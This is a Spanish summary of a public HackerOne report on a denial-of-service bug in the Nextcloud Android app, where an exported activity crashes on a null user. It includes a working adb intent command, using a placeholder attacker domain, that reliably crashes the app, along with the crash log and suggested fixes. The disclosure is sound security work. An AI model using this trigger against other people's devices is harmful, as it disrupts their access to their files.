Reports
BAJA[DENEGACIÓN DE SERVICIO]#3399016

Nextcloud Android: un enlace externo a FileDisplayActivity cierra la app por un usuario nulo

La actividad exportada FileDisplayActivity de la app Android de Nextcloud daba por hecho que había un usuario cargado. Un enlace o una app maliciosa podía abrirla y provocar un NullPointerException que cerraba la aplicación.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El fallo está en la app Android de Nextcloud (com.nextcloud.client), concretamente en la actividad com.owncloud.android.ui.activity.FileDisplayActivity. Esa actividad está exportada y declara varios intent-filter de tipo VIEW con host comodín, así que cualquier enlace o cualquier otra aplicación del dispositivo puede lanzarla con los datos que quiera.

Al arrancar, en onStart (FileDisplayActivity.kt:2784), el código llama a getAccountName() sobre el objeto User actual sin comprobar antes que exista. Cuando la actividad se abre desde fuera y ese objeto es nulo, salta un NullPointerException que nadie captura y Android cierra la app con el aviso "App has stopped".

HackerOne clasificó la debilidad como "Improper Null Termination"; en la práctica se trata de una desreferencia de puntero nulo por no validar la entrada externa ni el contexto de cuenta. El programa lo marcó como resuelto y la severidad publicada en HackerOne es "none", aunque el investigador lo propuso como media.

Datos del entorno de la prueba:

  • App: com.nextcloud.client, versión 30340090, variante generic.
  • Dispositivo: Samsung SM-T585 con Android 8.1.0 (SDK 27).

Pasos de reproducción

  1. Tener la app de Nextcloud instalada en un dispositivo Android con depuración ADB.
  2. Lanzar la actividad con un intent VIEW que apunte a una URL externa cualquiera:
adb shell am start -a android.intent.action.VIEW \
  -d "https://attacker.example.com/f/abcdef" \
  -n com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity
  1. La app se cierra de inmediato. En logcat aparece la excepción (extracto):
Exception in thread "main" java.lang.RuntimeException: Unable to start activity ComponentInfo{com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity}: java.lang.NullPointerException: Attempt to invoke interface method 'java.lang.String com.nextcloud.client.account.User.getAccountName()' on a null object reference
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2974)
    ...
Caused by: Exception in thread "main" java.lang.NullPointerException: Attempt to invoke interface method 'java.lang.String com.nextcloud.client.account.User.getAccountName()' on a null object reference
    at com.owncloud.android.ui.activity.FileDisplayActivity.onStart(FileDisplayActivity.kt:2784)
    at android.app.Instrumentation.callActivityOnStart(Instrumentation.java:1342)
    at android.app.Activity.performStart(Activity.java:7278)
    ...

Según el investigador, el cierre se reproduce de forma consistente cada vez que se ejecuta la orden.

Impacto

Una página web con un enlace preparado o una app maliciosa instalada en el mismo teléfono puede abrir la actividad exportada y tumbar la aplicación de Nextcloud cuando quiera: una denegación de servicio local contra el cliente.

El investigador apuntó además que, al aceptar los filtros cualquier host, otras rutas de código podrían llegar a hacer peticiones autenticadas a URLs arbitrarias (SSRF o inyección de contenido). Él mismo aclara que eso no se observó en esta prueba, porque la app se cae antes de llegar a ese punto.

Remediación

El reporte no detalla el parche aplicado por Nextcloud, solo que quedó resuelto. Las medidas que propuso el investigador fueron:

  1. Comprobar que el usuario actual no es nulo antes de usarlo y, si no hay sesión, ignorar el enlace o pedir inicio de sesión:
val user = getCurrentUserProvider().getCurrentUser().blockingGet()
if (user == null) {
    Log.w(TAG, "Deep link received but no user logged in; ignoring deep link or prompting login")
    return
}
  1. Quitar host="*" de los filtros y usar una lista explícita de dominios permitidos, validando intent.data y los patrones de ruta.
  2. No hacer peticiones autenticadas automáticas a URLs externas arbitrarias: solo a hosts permitidos, sin reenviar credenciales a otros dominios y bloqueando redirecciones a direcciones internas (RFC1918, link-local o endpoints de metadatos).
  3. Ante intents mal formados o inesperados, registrar el problema y salir en lugar de lanzar una excepción.